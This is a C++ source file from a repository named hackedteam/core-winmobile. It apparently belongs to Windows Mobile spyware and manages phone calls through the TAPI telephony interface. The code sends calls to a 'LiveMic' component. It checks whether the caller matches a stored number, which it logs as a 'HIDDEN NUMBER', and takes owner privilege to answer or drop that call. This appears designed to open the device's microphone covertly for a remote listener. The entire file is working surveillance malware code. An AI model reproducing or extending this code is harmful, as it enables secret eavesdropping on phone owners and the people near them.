hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/TapiManager.cpp

Summary

Maintainability
Test Coverage
#include <windows.h>
#include <Tapi.h>
#include <extapi.h>
#include "TapiManager.h"

static void LineCallBack(DWORD hDevice, DWORD dwMessage, DWORD dwInstance, DWORD dwParam1, DWORD dwParam2, DWORD dwParam3)
{
    LiveMic* pLiveMic = pLiveMic->self();
    if (pLiveMic == NULL)
        return;

    switch (dwMessage) {
        case LINE_APPNEWCALL:
            DBG_TRACE(L"TapiManager LineCallBack LINE_APPNEWCALL", 5, FALSE);
            pLiveMic->HandleNewCall((HCALL)dwParam2);
            break;

        case LINE_CALLSTATE:

            switch(dwParam1) {
                case LINECALLSTATE_BUSY:
                    DBG_TRACE(L"TapiManager LineCallBack LINECALLSTATE_BUSY", 5, FALSE);        
                    break;
                case LINECALLSTATE_CONNECTED:
                    DBG_TRACE(L"TapiManager LineCallBack LINECALLSTATE_CONNECTED", 5, FALSE);
                    
                    pLiveMic->StartCtrlTh();
                    pLiveMic->LineCallStateConnected();

                    //pLiveMic->AudioAdjust();
                                          
                    break;
                case LINECALLSTATE_DISCONNECTED:
                    DBG_TRACE(L"TapiManager LineCallBack LINECALLSTATE_DISCONNECTED", 5, FALSE);
                    
                    //pLiveMic->AudioRestore();

                    pLiveMic->LineCallStateDisconnected();
                    pLiveMic->StopCtrlTh();
            
                    break;
                case LINECALLSTATE_SPECIALINFO:    
                    break;
                case LINECALLSTATE_DIALTONE:
                    break;
                case LINECALLSTATE_OFFERING:
                    DBG_TRACE(L"TapiManager LineCallBack LINECALLSTATE_OFFERING", 5, FALSE);
                    pLiveMic->LineCallStateOffering((HCALL)dwParam2);
                    
                    break;
                default:
                    break;
            }
            break;

        case LINE_CALLINFO:
            ////TAPI_DEBUG(("\t\t|>%s", CallInfoStateString(dwParam1).c_str()));
            /*if (dwParam1 == LINECALLINFOSTATE_CALLERID) {
                //TAPI_DEBUG((">>> MSG LINECALLINFOSTATE_CALLERID"));
            }*/
            break;
        default:
            break;
    }
}

BOOL TapiManager::GetCallState(HCALL hCall, LPDWORD lpdwCallStatus)
{
    LONG rc = -1;
    ByteVector bv; bv.resize(sizeof(LINECALLSTATUS));
    LPLINECALLSTATUS lcs = (LINECALLSTATUS*) vectorptr(bv);
    lcs->dwUsedSize = sizeof(LINECALLSTATUS);

    rc = lineGetCallStatus(hCall, lcs);
    if (rc == LINEERR_STRUCTURETOOSMALL) {
        bv.resize(lcs->dwNeededSize);
        lcs->dwTotalSize = lcs->dwNeededSize;
        rc = lineGetCallStatus(hCall, lcs);
    }

    if (rc < 0) {
        DBG_TRACE_INT(L"TapiManager GetCallState lineGetCallStatus", 5, FALSE, rc);
        return FALSE;
    }

    *lpdwCallStatus = lcs->dwCallState;

    return TRUE;
}

BOOL TapiManager::CheckNumber(HCALL hCall, wstring numBase)
{
    ByteVector bv; bv.resize(sizeof(LINECALLINFO));
    LPLINECALLINFO ci = (LPLINECALLINFO) vectorptr(bv);
    ci->dwTotalSize = sizeof(LINECALLINFO);

    LONG rc = lineGetCallInfo(hCall, ci);

    if (rc < 0 && rc != LINEERR_STRUCTURETOOSMALL) {
        DBG_TRACE_INT(L"TapiManager CheckNumber lineGetCallInfo 1 ERROR:", 5, FALSE, rc);
        return FALSE;
    } else if (rc == LINEERR_STRUCTURETOOSMALL || ci->dwNeededSize > ci->dwTotalSize) {
        bv.resize(ci->dwNeededSize);
        ci = (LPLINECALLINFO)vectorptr(bv);
        ci->dwTotalSize = bv.size();
        rc = lineGetCallInfo(hCall, ci);

        if (rc < 0) {
            DBG_TRACE_INT(L"TapiManager CheckNumber lineGetCallInfo 2 ERROR:", 5, FALSE, rc);
            DBG_TRACE(L"TapiManager CheckNumber C ", 5, FALSE);
            return FALSE;
        }
    }

    DBG_TRACE_INT(L"TapiManager CheckNumber Flags: ", 5, FALSE, ci->dwCallerIDFlags);
                           
    if (ci->dwOrigin == LINECALLORIGIN_INBOUND && (ci->dwCallerIDFlags & LINECALLPARTYID_ADDRESS)) {
    
        wstring numCaller((WCHAR*)(vectorptr(bv) + ci->dwCallerIDOffset), 
                            (WCHAR*)(vectorptr(bv)+ci->dwCallerIDOffset + ci->dwCallerIDSize));

        DBG_TRACE_INT(L"TapiManager CheckNumber tmp len: ", 5, FALSE,  numCaller.length());
        DBG_TRACE((PWCHAR)numCaller.c_str(), 5, FALSE);
        DBG_TRACE_INT(L"TapiManager CheckNumber telnum len: ", 5, FALSE,  numBase.length());
        DBG_TRACE((PWCHAR)numBase.c_str(), 5, FALSE);

        /*if (tmp.size() > telnum.size()) {
            tmp.resize(telnum.size());
        }*/
        
        if (numCaller.compare(numBase) == 0) {
            DBG_TRACE(L"TapiManager CheckNumber HIDDEN NUMBER compare", 5, FALSE);
            return TRUE;
        } else {

            wstring::size_type foundPos;
            wstring needle;
            wstring haystack;

            if (numBase.length() > numCaller.length()) {
                haystack = numBase;
                needle = numCaller;
            } else {
                haystack = numCaller;
                needle = numBase;
            }

            foundPos = haystack.find(needle, 0);

            DBG_TRACE_INT(L"TapiManager CheckNumber haystack.find(needle, 0): ", 5, FALSE, foundPos);

            if (foundPos != string::npos) {
                DBG_TRACE(L"TapiManager CheckNumber HIDDEN NUMBER", 5, FALSE);
                return TRUE;
            }
        }
    }

    return FALSE;
}

BOOL TapiManager::AnswerCall(HCALL hCall)
{
    LONG rc = -1;

    rc = lineSetCallPrivilege(hCall, LINECALLPRIVILEGE_OWNER);
    if (rc != 0) {
        DBG_TRACE_INT(L"TapiManager AnswerCall lineSetCallPrivilege ERROR:", 5, FALSE, rc);
        return FALSE;
    }

    rc = lineAnswer(hCall, "OUT", 4);

    if (rc < 0) {
        DBG_TRACE_INT(L"TapiManager AnswerCall lineAnswer ERROR:", 5, FALSE, rc);
        return FALSE;
    }

    return TRUE;
}

BOOL TapiManager::DropCall(HCALL hCall)
{
    LONG rc = lineSetCallPrivilege(hCall, LINECALLPRIVILEGE_OWNER);
    if (rc < 0) {
        DBG_TRACE_INT(L"TapiManager DropCall lineSetCallPrivilege ERROR:", 5, FALSE, rc);
        return FALSE;
    }

    rc = lineDrop(hCall, NULL, 0);
    if (rc < 0) {
        DBG_TRACE_INT(L"TapiManager DropCall lineDrop ERROR:", 5, FALSE, rc);
        return FALSE;
    }
    
    DBG_TRACE_INT(L"TapiManager DropCall OK", 5, FALSE, rc);

    return TRUE;
}

BOOL TapiManager::DeallocateCall(HCALL hCall)
{
    LONG rc = lineSetCallPrivilege(hCall, LINECALLPRIVILEGE_OWNER);
    if (rc < 0) {
        DBG_TRACE_INT(L"TapiManager DeallocateCall lineSetCallPrivilege ERROR:", 5, FALSE, rc);
        return FALSE;
    }                                     

    rc = lineDeallocateCall(hCall);
    if (rc < 0) {
        DBG_TRACE_INT(L"TapiManager DeallocateCall lineDeallocateCall ERROR:", 5, FALSE, rc);
        return FALSE;
    }

    return TRUE;
}


#define TAPI_LOW_VERSION 0x10000
#define TAPI_HIGH_VERSION 0x20002
BOOL TapiManager::TapiGetDeviceCAPS(UINT dwDevNum, DWORD * dwApiVerNegoziated)
{
    BOOL bOut = FALSE;
    LONG rc = -1;
    DWORD dwApiLowVersion = TAPI_LOW_VERSION, dwApiHighVersion = TAPI_HIGH_VERSION;
    LINEEXTENSIONID extID; 
    ZeroMemory(&extID, sizeof(LINEEXTENSIONID));
          
    UINT i = 0;
    rc = lineNegotiateAPIVersion(m_hLineApp,
                                    dwDevNum,
                                    dwApiLowVersion,
                                    dwApiHighVersion,
                                    dwApiVerNegoziated,
                                    &m_extID);
    if (rc != 0) {
        DBG_TRACE_INT(L"TapiManager TapiGetDeviceCAPS lineNegotiateAPIVersion ERROR:", 5, FALSE, rc);
        return bOut;
    }

    ByteVector bv; bv.resize(sizeof(LINEDEVCAPS));
    m_lpLineDevCaps = (LINEDEVCAPS*)vectorptr(bv);
    m_lpLineDevCaps->dwUsedSize = sizeof(LINEDEVCAPS);
    rc = lineGetDevCaps(m_hLineApp,
                        dwDevNum,
                        *dwApiVerNegoziated,
                        0,
                        m_lpLineDevCaps);

    if (rc < 0 && rc != LINEERR_STRUCTURETOOSMALL) {
        DBG_TRACE_INT(L"TapiManager TapiGetDeviceCAPS lineGetDevCaps 1 ERROR:", 5, FALSE, rc);
        UnInit();
        bv.clear();
        return bOut;
    } else if (rc == LINEERR_STRUCTURETOOSMALL || (m_lpLineDevCaps->dwNeededSize > m_lpLineDevCaps->dwTotalSize)) {
        bv.resize(m_lpLineDevCaps->dwNeededSize);
        m_lpLineDevCaps->dwTotalSize = m_lpLineDevCaps->dwNeededSize;

        rc = lineGetDevCaps(m_hLineApp,
                                dwDevNum,
                                *dwApiVerNegoziated,
                                0,
                                m_lpLineDevCaps);
        if (rc < 0) {
            DBG_TRACE_INT(L"TapiManager TapiGetDeviceCAPS lineGetDevCaps 2 ERROR:", 5, FALSE, rc);
            UnInit();
            bv.clear();
            return bOut;
        }            
    }

    if (m_lpLineDevCaps->dwMediaModes & LINEMEDIAMODE_INTERACTIVEVOICE ) {
        bOut = TRUE;    
    }

    bv.clear();

    return bOut;
}

BOOL TapiManager::Init()
{
    BOOL bOut = FALSE;
    LONG rc = -1;
    //DWORD dwNumDev;

    rc = lineInitialize(&m_hLineApp,
                        NULL,
                        &LineCallBack,
                        L"LineCProg",
                        &m_dwNumDev);
    if (rc < 0) {
        DBG_TRACE_INT(L"TapiManager Init lineInitialize ERROR:", 5, FALSE, rc);
        return bOut;
    }

    // Eventuale Check Roaming (vedi lineGetRegisterStatus LINEREGSTATUS_ROAM)
    if (rc == 0) {

        m_vectLines.resize(m_dwNumDev, NULL);
        m_vectApiVerNegoziated.resize(m_dwNumDev, NULL);

        for (UINT i = 0; i < m_dwNumDev; i++) {

            if (FALSE == TapiGetDeviceCAPS(i, &(m_vectApiVerNegoziated.at(i)))) {
                continue;    
            }

            rc = lineOpen(m_hLineApp,
                            m_dwDeviceID,
                            &(m_vectLines.at(i)),
                            TAPI_CURRENT_VERSION,
                            0,
                            0,
                            LINECALLPRIVILEGE_MONITOR,
                            LINEMEDIAMODE_INTERACTIVEVOICE,
                            NULL);
            if (rc != 0) {
                DBG_TRACE_INT(L"TapiManager Init lineOpen ERROR:", 5, FALSE, rc);
                UnInit();
                return bOut;
            }

            rc = lineSetStatusMessages(m_vectLines.at(i), LINEDEVSTATE_ALL, 0);
            if (rc != 0) {
                DBG_TRACE_INT(L"TapiManager Init lineSetStatusMessages ERROR:", 5, FALSE, rc);
                UnInit();
                return bOut;
            }

            DWORD dwLineStatus = 0;
            rc = lineGetRegisterStatus ( m_vectLines.at(i), &dwLineStatus);
            if (rc == 0) {
                DBG_TRACE_INT(L"TapiManager Init lineGetRegisterStatus dwLineStatus: ", 5, FALSE, dwLineStatus);    
            }
        }

        m_bInitialized = TRUE;
        bOut = TRUE;
    }

    return bOut;
}

BOOL TapiManager::UnInit()
{
    LONG rc = -1;

    if (m_bInitialized == FALSE) {
        DBG_TRACE(L"TapiManager UnInit m_bInitialized FALSE", 5, FALSE);
        return FALSE;
    }

    for (UINT i = 0; i < m_dwNumDev; i++) {
        if (m_vectLines.at(i) != NULL) {
            rc = lineClose(m_vectLines.at(i));
            m_vectLines.at(i) = NULL;
            if (rc < 0) {
                DBG_TRACE_INT(L"TapiManager UnInit lineClose ERROR:", 5, FALSE, rc);
            }
        }
    }
    m_vectLines.clear();
    m_vectApiVerNegoziated.clear();

    if (m_hLineApp != NULL) {
        rc = lineShutdown(m_hLineApp);
        if (rc < 0) {
            DBG_TRACE_INT(L"TapiManager UnInit lineShutdown ERROR:", 5, FALSE, rc);
        }
        m_hLineApp = NULL;
    }

    m_bInitialized = FALSE;

    return TRUE;
}

TapiManager* TapiManager::m_pInstance = NULL;
volatile LONG TapiManager::m_lLock = 0;

TapiManager* TapiManager::self() {

    while (InterlockedExchange((LPLONG) &m_lLock, 1) != 0)
        Sleep(1);

    if (NULL == m_pInstance) {
        m_pInstance = (TapiManager*) new(nothrow) TapiManager();
    }

    InterlockedExchange((LPLONG)&m_lLock, 0);

    return m_pInstance;
}

TapiManager::TapiManager(void)
{
    m_bInitialized = FALSE;
    m_hLineApp = NULL;
    m_dwDeviceID = m_dwNumDev = 0;
}

TapiManager::~TapiManager(void)
{
}